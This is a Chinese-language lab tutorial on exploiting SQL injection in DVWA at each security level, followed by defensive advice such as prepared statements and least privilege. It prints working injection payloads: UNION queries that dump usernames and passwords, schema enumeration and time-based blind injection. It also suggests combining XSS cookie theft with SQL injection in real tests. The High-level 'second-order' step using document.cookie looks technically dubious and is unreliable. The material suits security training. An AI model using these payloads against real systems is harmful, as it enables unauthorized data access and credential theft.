DVWA靶场实战:SQL注入漏洞攻防解析
1. DVWA靶场与SQL注入漏洞概述
Damn Vulnerable Web Application(DVWA)是一个专为安全测试设计的PHP/MySQL Web应用,内置了从低到高不同安全等级的漏洞环境。其中SQL注入模块模拟了真实Web应用中常见的数据库安全缺陷,是学习渗透测试的经典实验场景。
SQL注入(SQL Injection)作为OWASP Top 10长期占据榜首的Web安全威胁,其本质是通过构造特殊输入,改变原始SQL查询逻辑的攻击技术。在DVWA靶场中,该漏洞被刻意设计在用户ID查询功能中,攻击者可以通过输入恶意参数获取非授权数据。
2. 实验环境准备
2.1 靶场部署方案
推荐使用以下两种方式搭建实验环境:
- 本地部署:在Kali Linux中通过XAMPP集成环境安装
wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip -d /opt/lampp/htdocs/ chmod -R 777 /opt/lampp/htdocs/DVWA-master/ - Docker部署(适合快速启动):
docker pull vulnerables/web-dvwa docker run -d -p 80:80 vulnerables/web-dvwa
注意:首次访问需在
config/config.inc.php中配置数据库连接,将$_DVWA[ 'db_password' ]设为'p@ssw0rd'
2.2 安全等级设置
在DVWA界面左下角可切换安全等级:
- Low:无任何防护措施
- Medium:使用
mysqli_real_escape_string()过滤 - High:采用SESSION验证机制
- Impossible:使用PDO预处理语句
3. 低安全级别渗透实战
3.1 基础注入技术
观察源码可见用户输入直接拼接到SQL语句:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";经典永注法:
1' OR '1'='1等效SQL:
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1'联合查询注入:
1' UNION SELECT user, password FROM users#此时执行的查询:
SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT user, password FROM users#3.2 信息获取技巧
通过information_schema获取数据库结构:
1' UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_schema=database()#密码破解建议使用John the Ripper:
john --format=raw-md5 hashes.txt4. 中安全级别绕过技巧
4.1 防御机制分析
Medium级别使用mysqli_real_escape_string()处理输入:
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);4.2 数字型注入突破
由于参数未强制类型转换,可构造:
2 OR 1=1对应SQL:
SELECT first_name, last_name FROM users WHERE user_id = 2 OR 1=14.3 Burp Suite辅助注入
- 拦截POST请求
- 修改id参数为:
2' UNION SELECT null,concat(user,':',password) FROM users# - 获取所有用户凭证
5. 高安全级别深度渗透
5.1 会话机制分析
High级别从SESSION获取参数:
$id = $_SESSION[ 'id' ];5.2 二次注入技术
- 先通过其他漏洞(如XSS)设置SESSION
- 然后访问注入页面:
document.cookie="id=1' UNION SELECT user,password FROM users#";
5.3 时间盲注示例
当页面无显错时:
1' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(5),0)#6. 防御方案与最佳实践
6.1 代码层防护
PDO预处理示例:
$stmt = $pdo->prepare("SELECT first_name FROM users WHERE user_id = ?"); $stmt->execute([$id]);6.2 架构层防护
- 使用WAF规则过滤敏感关键字
- 实施最小权限原则(数据库账户仅授权必要操作)
- 开启SQL日志审计
6.3 运维建议
定期进行:
- SQL注入扫描(sqlmap、Acunetix)
- 代码审计(RIPS、SonarQube)
- 渗透测试(Metasploit框架)
7. 实战问题排查指南
常见错误1:注入语句无效
- 检查是否有魔术引号(magic_quotes_gpc)
- 验证输入是否经过其他过滤函数处理
常见错误2:UNION查询列数不匹配
- 使用
ORDER BY确定列数:1' ORDER BY 3#
性能优化:
- 对大型数据库使用
LIMIT分页:1' UNION SELECT user,password FROM users LIMIT 0,10#
在真实渗透测试中,建议结合其他漏洞进行组合攻击。例如先通过XSS获取管理员Cookie,再以高权限执行SQL注入。DVWA的关卡设计很好地展示了安全防御的演进过程,从完全无防护到多层次防御,这正是现代Web应用安全建设的缩影。